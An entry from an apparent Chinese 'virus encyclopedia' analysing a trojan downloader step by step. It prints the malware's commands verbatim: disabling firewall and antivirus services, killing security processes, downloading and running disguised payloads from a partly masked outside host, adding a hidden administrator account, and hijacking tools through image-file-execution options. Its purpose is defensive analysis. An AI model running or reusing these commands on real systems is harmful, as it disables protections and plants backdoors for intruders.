病毒大百科

这是个木马下载器。它会将自己设为管理员权限，映像劫持大量的杀毒软件。然后从指定网址下载大量其它木马程序。

1. 运行后首先Sleep()，挂起10分钟。然后下载病毒列表。

2. cacls.exe C:\Windows\system32\cmd.exe /e /t /g everyone:F
更改cmd权限为所有用户可以执行
执行 cmd.exe /c net stop wscsvc&
net stop sharedaccess&
sc config sharedaccess start=disabled&
sc config wscsvc start= disabled&
net stop KPfwSvc&
net stop KWatchsvc&
net stop McShield&
net stop "Norton AntiVirus Server
终止或禁用一些服务

3.查找并终止以下进程shstat.exe, runiep.exe, ras.exe, MPG4C32.exe,
imsins.exe, Iparmor.exe, 360safe.exe, 360tray.exe, kmailmon.exe,
kavstart.exe, cacls.exe, cmd.exe。

4.查找杀软ccenter.exe，如果找到下载
http://ps.go****o.com/rc/1500/rav.jpg
保存到C:\windows\system32\rav.exe执行。
rav.exe会生成C:\windows\system32\ressdt.exe
注册ressdt.sys驱动,恢复ssdt,然后del ressdt.exe

5.读取http://ps.go****o.com/rc/1500/gx.txt
下载的病毒列表，并执行，实际读出的是0。下载http://ps.go****o.com/rc/1500/gx.jpg
到本地C:\windows\system32\vbb.exe并执行，这个vbb.exe会下载一些其他的病毒。

6.写入注册表自启动
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
\Windows\CurrentVersion\Run\SoundMan
删除一下注册表项
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
\Windows\CurrentVersion\Run\
360Safetray
KavPFW
vptray
runeip
RavTask
RfwMain
kav

7.添加一个用户new1密码12369到管理员组
cmd.exe /c net user new1 12369 /add&
net user new1 12369&
net user new1 /active:yes&
net localgroup administrators new1 /add

8.通过写入一个1.inf的文件并执行，注册为服务启动，替换原系统服务键值
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Service\helpsvc
原键值%SystemRoot%\System32\svchost.exe -k netsvcs
为%SystemRoot%\System32\interne.exe

其执行的语句如下：
cmd /c echo [Version]>%windir%\1.inf&
echo Signature="$WINDOWS NT$">>%windir%\1.inf&
echo [DefaultInstall.Services]>>%windir%\1.inf&
...
(略去数行)

9.新建键值
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\new1=0

10.映像劫持，导致一些安全工具打不开。
把HKLM\SoftWare\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
cftmon.exe\debugger=soundman.exe
360tray.exe=svchost.exe
360safe.exe=svchost.exe
360Loader.exe=svchost.exe
kmailmon=svchost.exe
IceSword=svchost.exe
runiep=svchost.exe
ras=svchost.exe
Iparamor.exe=svchost.exe
taskmgr.exe=svchost.exe

11. 屏蔽隐藏文件的选项
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue